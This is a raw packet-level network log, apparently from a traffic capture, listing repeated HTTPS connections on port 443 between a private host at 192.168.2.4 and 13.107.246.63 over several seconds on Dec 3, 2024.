Dec 3, 2024 17:56:09.162770033 CET	49967	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.162791014 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.162801981 CET	49967	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.162807941 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.165704012 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.165729046 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.165802002 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.165947914 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.165960073 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.256726980 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.257318974 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.257354021 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.258027077 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.258032084 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.657973051 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.657999039 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.658086061 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.658113956 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.658389091 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.658404112 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.658412933 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.658555984 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.658586979 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.658632040 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.661328077 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.661382914 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.661457062 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.661617041 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.661632061 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.707576990 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.707607985 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.707730055 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.707799911 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.708029032 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.708040953 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.708050966 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.708180904 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.708211899 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.708256006 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.710387945 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.710441113 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.710505962 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.710720062 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.710736990 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.934314013 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.934875011 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.934906006 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.935345888 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:09.935350895 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.449048996 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.449080944 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.449134111 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.449218035 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.449350119 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.449717045 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.449734926 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.449745893 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.449752092 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.453104973 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.453151941 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.453252077 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.453413010 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.453428984 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.811456919 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.812084913 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.812122107 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:10.812599897 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:10.812604904 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.033298969 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.033919096 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.033951044 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.034431934 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.034437895 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.260601044 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.260688066 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.260751009 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.260951042 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.260972977 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.260983944 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.260989904 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.263914108 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.263953924 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.264028072 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.264204979 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.264219046 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.482039928 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.482080936 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.482125998 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.482166052 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.482215881 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.482494116 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.482515097 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.482526064 CET	49972	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.482532024 CET	443	49972	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.485836983 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.485879898 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.485970974 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.486148119 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.486162901 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.486857891 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.487248898 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.487276077 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.487687111 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.487693071 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.608805895 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.609704018 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.609735966 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.610188007 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.610194921 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.973789930 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.973872900 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.973944902 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.974173069 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.974195004 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.974205971 CET	49973	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.974211931 CET	443	49973	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.977706909 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.977756977 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:11.977844000 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.983298063 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:11.983321905 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.221863985 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.221894979 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.221957922 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.222138882 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.222440004 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.222460032 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.222471952 CET	49974	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.222477913 CET	443	49974	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.225966930 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.225996971 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.226085901 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.226335049 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.226350069 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.428553104 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.429146051 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.429192066 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:12.429666996 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:12.429677963 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.411381006 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.412024021 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.412048101 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.412539005 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.412547112 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.465049982 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.467837095 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.467915058 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.467967033 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.467988968 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.468002081 CET	49975	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.468008041 CET	443	49975	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.471232891 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.471271992 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.471338987 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.471560001 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.471573114 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.613296032 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.613774061 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.613792896 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.614248991 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.614258051 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.998716116 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.998752117 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.998810053 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.998821020 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.998866081 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.999150038 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.999150038 CET	49976	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:13.999170065 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:13.999181032 CET	443	49976	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.002414942 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.002461910 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.002546072 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.002729893 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.002741098 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.164963007 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.165853024 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.165877104 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.166383982 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.166390896 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.181473017 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.181567907 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.181782007 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.181813955 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.181833029 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.181844950 CET	49977	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.181849957 CET	443	49977	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.184777975 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.184822083 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.184884071 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.185050011 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.185064077 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.356173992 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.357768059 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.357786894 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.358222008 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.358227015 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.624681950 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.624706984 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.624752045 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.624790907 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.624865055 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.625139952 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.625139952 CET	49978	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.625155926 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.625164986 CET	443	49978	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.628603935 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.628652096 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.628751040 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.628952026 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.628964901 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.855787992 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.858467102 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.858535051 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.858628035 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.858628035 CET	49979	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.858648062 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.858659029 CET	443	49979	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.861835957 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.861882925 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:14.861996889 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.862174988 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:14.862190008 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:15.545135975 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:15.546037912 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:15.546053886 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:15.546562910 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:15.546569109 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:15.951951027 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:15.952579975 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:15.952605009 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:15.953066111 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:15.953073978 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.050713062 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.050781012 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.050836086 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.051155090 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.051155090 CET	49980	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.051175117 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.051184893 CET	443	49980	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.054672003 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.054697037 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.054795027 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.054934978 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.054945946 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.168951035 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.169550896 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.169567108 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.170021057 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.170027018 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.599065065 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.599096060 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.599154949 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.599170923 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.599222898 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.599479914 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.599498987 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.599512100 CET	49981	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.599518061 CET	443	49981	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.602756023 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.602780104 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.602845907 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.603028059 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.603039026 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.607992887 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.608386993 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.608405113 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.608941078 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.608946085 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.788870096 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.793346882 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.793437004 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.796838045 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.796861887 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.796871901 CET	49982	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.796878099 CET	443	49982	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.800209045 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.800239086 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:16.800328016 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.800514936 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:16.800530910 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.173084974 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.173283100 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.173517942 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.173563957 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.173585892 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.173599005 CET	49983	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.173604965 CET	443	49983	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.174839973 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.176738977 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.176779032 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.177130938 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.177141905 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.177185059 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.177324057 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.177341938 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.177608967 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.177615881 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.645874023 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.645911932 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.645963907 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.646147966 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.646441936 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.646461964 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.646481991 CET	49984	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.646487951 CET	443	49984	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.650120974 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.650160074 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.650243998 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.650387049 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.650398970 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.851946115 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.855848074 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.855869055 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:17.856340885 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:17.856345892 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.290822983 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.291486025 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.291558981 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.291613102 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.291630030 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.291640043 CET	49985	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.291645050 CET	443	49985	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.294775009 CET	49990	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.294822931 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.294928074 CET	49990	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.295110941 CET	49990	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.295125961 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.507662058 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.508949041 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.508970022 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.509427071 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.509434938 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.606252909 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.606889963 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.606901884 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:18.607379913 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:18.607388973 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.016104937 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.018764973 CET	443	49986	13.107.246.63	192.168.2.4
